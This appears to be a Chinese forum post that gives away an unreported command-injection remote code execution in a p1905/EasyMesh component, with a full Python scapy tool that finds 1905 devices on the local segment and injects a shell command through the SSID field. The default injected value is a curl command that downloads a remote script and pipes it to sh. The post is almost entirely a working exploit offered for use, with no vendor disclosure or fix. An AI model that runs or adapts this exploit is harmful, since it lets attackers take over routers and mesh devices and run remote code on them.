0day rce免费送家人们，走过路过不要错过，虽然是没啥屌用的漏洞，我甚至懒得申请cve。
没啥好说的，几百年前挖的，细节忘了，懂得都懂/应该p1905（就是跟机器mesh相关的一个玩意），修改ssid的时候执行命令行拼接执行了。
可能用了同款p1905 elf的机器也有这个漏洞，不知道懒得玩了，rce之后就索然无味了。

所以命令有长度限制，不过问题不大。

参数默认即可，自己改下注入命令就好，不过也没得改，长度上限了。

#!/usr/bin/env python3
"""1905 SSID 命令注入 — 自动发现目标 + 注入"""
import random
import struct
import sys
import threading
import time
from datetime import datetime

from scapy.all import Ether, Raw, conf, sendp, sniff

# ============================================================
# 常量
# ============================================================
ETHERTYPE_1905 = 0x893A
MULTICAST_1905 = "01:80:C2:00:00:13"
INTERNAL_VENDOR_MAGIC = b"\x00\x0c\xe7\xff\x00\x0c\xe7"

# 注入命令
INJECT_SSID = ";curl${IFS}a.c:8000/1.sh|sh;#"

# UCC BSS 参数
PROFILE_TOKEN = "11x"
PROFILE_AUTH = "0x0040"
PROFILE_ENCR = "0x0008"
PROFILE_BH = 0
PROFILE_FH = 1

ARM_SSID = "ACTIVATE773"
CLEAN_SSID = "CLEAN773"
ARM_WAIT = 4.0


# ============================================================
# 工具函数
# ============================================================
def ts():
    return datetime.now().strftime("%H:%M:%S")


def cmdu_header(msg_type, msg_id):
    return struct.pack("!BBHHBB", 0x00, 0x00, msg_type & 0xFFFF,
                       msg_id & 0xFFFF, 0x00, 0x80)


def tlv(t, body=b""):
    return bytes([t]) + struct.pack("!H", len(body)) + body


def build_payload(ssid, hidden, bssid, psk):
    return (
        "#ucc_bss_info\n"
        f"1,{bssid} {PROFILE_TOKEN} {ssid} "
        f"{PROFILE_AUTH} {PROFILE_ENCR} {psk} "
        f"{PROFILE_BH} {PROFILE_FH} hidden-{hidden} "
        f"4095 N/A N/A mld_groupID 0\n\n"
    ).encode()


# ============================================================
# 1905 拓扑发现
# ============================================================
def discover_target(iface_name, src_mac, timeout=4):
    """发送拓扑发现帧，监听响应，返回 (AL_MAC, 原始MAC) 列表"""
    mid = random.randint(1, 0xFFFF)
    query = cmdu_header(0x0002, mid) + b"\x00\x00\x00"

    pkts = []

    def _sniff():
        p = sniff(iface=iface_name, filter="ether proto 0x893a",
                  timeout=timeout, store=True)
        pkts.extend(p)

    t = threading.Thread(target=_sniff)
    t.start()
    time.sleep(0.5)

    sendp(Ether(src=src_mac, dst=MULTICAST_1905, type=ETHERTYPE_1905) / Raw(query),
          iface=iface_name, verbose=False)

    t.join(timeout=timeout + 2)

    targets = []
    for pkt in pkts:
        if Raw not in pkt:
            continue
        raw = bytes(pkt[Raw].load)
        if len(raw) < 8:
            continue
        try:
            _v, _r, mt, mid2, _f, _fl = struct.unpack("!BBHHBB", raw[:8])
        except struct.error:
            continue
        if mt == 0x0003 and mid2 == mid:
            src = pkt.src.lower()
            if src != src_mac.lower() and src not in [t[0] for t in targets]:
                targets.append((src, pkt.src))
    return targets


# ============================================================
# 注入
# ============================================================
def do_inject(iface_name, src_mac, dst_mac, bssid, psk, ssid, hidden):
    payload = build_payload(ssid, hidden, bssid, psk)
    for subtype in [b"\x03", b"\x07"]:
        mid = random.randint(1, 0xFFFF)
        sendp(Ether(src=src_mac, dst=dst_mac, type=ETHERTYPE_1905) / Raw(
            cmdu_header(0x0004, mid)
            + tlv(0x0B, INTERNAL_VENDOR_MAGIC + subtype + payload)
            + b"\x00\x00\x00"
        ), iface=iface_name, verbose=False)
        time.sleep(0.8)


# ============================================================
# 主流程
# ============================================================
def main():
    print("=" * 60)
    print("  1905 SSID 命令注入工具")
    print("=" * 60)
    print()

    # ---------- 0. 注入命令 ----------
    ssid = INJECT_SSID
    print(f"  注入命令: {ssid}")
    alt = input(f"  回车确认，或输入新命令：").strip()
    if alt:
        ssid = alt
    print()

    # ---------- 1. 列出网卡 ----------
    print("[*] 正在扫描可用网卡...")
    print()

    ifaces = []
    idx = 0
    for name in conf.ifaces:
        iface = conf.ifaces[name]
        mac = getattr(iface, "mac", None)
        if not mac:
            continue
        ips = getattr(iface, "ips", {})
        ip4 = ips.get(4, [])
        idx += 1
        ifaces.append((name, mac, ip4))
        print(f"  [{idx}] {name}")
        print(f"      MAC : {mac}")
        if ip4:
            print(f"      IP  : {', '.join(ip4)}")
        else:
            print(f"      IP  : (无)")
        print()

    if not ifaces:
        print("[!] 没有找到可用网卡，请确认 Npcap 已安装。")
        input("按 Enter 退出...")
        sys.exit(1)

    # ---------- 2. 选网卡 ----------
    while True:
        try:
            choice = input(f"[?] 选择网卡 [1-{len(ifaces)}]：").strip()
            n = int(choice)
            if 1 <= n <= len(ifaces):
                iface_name, my_mac, my_ips = ifaces[n - 1]
                break
            print(f"    输入 1-{len(ifaces)} 之间的数字。")
        except (ValueError, EOFError, KeyboardInterrupt):
            print("\n[!] 已取消。")
            sys.exit(1)

    print(f"\n[+] 网卡: {iface_name}")
    print(f"    MAC : {my_mac}")
    print(f"    IP  : {', '.join(my_ips) if my_ips else '(无)'}")
    print()

    # ---------- 3. 1905 拓扑发现 ----------
    print(f"[{ts()}] 正在探测 1905 设备...")
    targets = discover_target(iface_name, my_mac)
    print()

    if not targets:
        print("[!] 未发现 1905 设备。")
        print("    请确认：")
        print("    1. 目标设备已开机并已启动 EasyMesh")
        print("    2. 本机与目标在同一 L2 网段")
        print("    3. 防火墙未拦截 1905 多播帧 (ether proto 0x893a)")
        while True:
            target = input("[?] 手动输入目标 AL MAC（或按 Enter 退出）：").strip()
            if not target:
                sys.exit(0)
            if len(target) == 17:
                bssid = target
                break
            print("    格式错误，例如: 00:58:28:d7:52:97")
    elif len(targets) == 1:
        target, _ = targets[0]
        bssid = target
        print(f"[+] 发现 1 个 1905 设备：{target}")
        print()
    else:
        print(f"[+] 发现 {len(targets)} 个 1905 设备：")
        for i, (tgt, _) in enumerate(targets, 1):
            print(f"    [{i}] {tgt}")
        while True:
            try:
                choice = input(f"[?] 选择目标 [1-{len(targets)}]：").strip()
                n = int(choice)
                if 1 <= n <= len(targets):
                    target, _ = targets[n - 1]
                    bssid = target
                    break
                print(f"    输入 1-{len(targets)} 之间的数字。")
            except (ValueError, EOFError, KeyboardInterrupt):
                print("\n[!] 已取消。")
                sys.exit(1)
        print()
        print(f"[+] 已选择: {target}")

    # ---------- 4. BSSID ----------
    print(f"  BSSID 默认与目标 MAC 相同: {bssid}")
    alt_bssid = input(f"  回车确认，或输入其他（如 ff:ff:ff:ff:ff:ff）：").strip()
    if alt_bssid:
        bssid = alt_bssid

    # ---------- 5. PSK ----------
    print()
    psk = f"InjPass{random.randint(100, 999)}"
    print(f"  PSK（随机生成）: {psk}")
    alt_psk = input(f"  回车确认，或输入自定义 PSK：").strip()
    if alt_psk:
        psk = alt_psk

    # ---------- 6. 确认 ----------
    print()
    print("=" * 60)
    print(f"  网卡:     {iface_name} ({my_mac})")
    print(f"  目标 MAC: {target}")
    print(f"  BSSID:    {bssid}")
    print(f"  PSK:      {psk}")
    print(f"  命令:     {ssid} ({len(ssid)} 字符)")
    print("=" * 60)

    if len(ssid) > 32:
        print(f"[!] 警告：命令长度 {len(ssid)} > 32，可能失败！")

    answer = input("\n[?] 确认注入？[y/N]：").strip().lower()
    if answer != "y":
        print("[!] 已取消。")
        sys.exit(0)

    # ---------- 7. 注入 ----------
    print()
    print(f"[{ts()}] 步骤 1/3：激活 BSS（hidden-Y）...")
    do_inject(iface_name, my_mac, target,
              bssid, psk, ARM_SSID, hidden="Y")
    print(f"[{ts()}] 等待 {ARM_WAIT} 秒...")
    time.sleep(ARM_WAIT)

    print(f"[{ts()}] 步骤 2/3：注入命令...")
    do_inject(iface_name, my_mac, target,
              bssid, psk, ssid, hidden="Y")
    print(f"[{ts()}] 注入完成！")
    time.sleep(2.0)

    print(f"[{ts()}] 步骤 3/3：清理（hidden-N）...")
    do_inject(iface_name, my_mac, target,
              bssid, psk, CLEAN_SSID, hidden="N")
    print(f"[{ts()}] 清理完成。")

    print()
    print("=" * 60)
    print("  注入结束。检查目标设备。")
    print("=" * 60)
    input("\n按 Enter 退出...")


if __name__ == "__main__":
    main()